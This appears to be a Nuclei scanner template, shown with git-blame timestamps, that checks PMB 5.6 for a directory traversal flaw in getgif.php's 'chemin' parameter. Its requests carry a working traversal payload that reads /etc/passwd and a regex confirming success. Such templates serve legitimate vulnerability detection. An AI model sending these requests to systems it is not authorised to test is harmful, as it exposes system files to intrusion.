2021-08-16 10:44:02 +00:00
|
|
|
id: pmb-directory-traversal
|
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: PMB 5.6 - Arbitrary File Retrieval
|
2021-08-16 10:44:02 +00:00
|
|
|
author: geeknik
|
|
|
|
severity: medium
|
2022-05-13 20:26:43 +00:00
|
|
|
description: The PMB Gif Image is not sanitizing the content of the 'chemin' parameter, wchi can be used for local file retrieval.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html
|
2021-08-16 11:13:47 +00:00
|
|
|
tags: lfi
|
|
|
|
|
2021-08-16 10:44:02 +00:00
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
|
|
|
|
- "{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
|
2021-10-08 13:40:03 +00:00
|
|
|
|
2021-10-08 06:33:40 +00:00
|
|
|
stop-at-first-match: true
|
2021-08-16 10:44:02 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-08-16 11:13:47 +00:00
|
|
|
|
2021-08-16 10:44:02 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|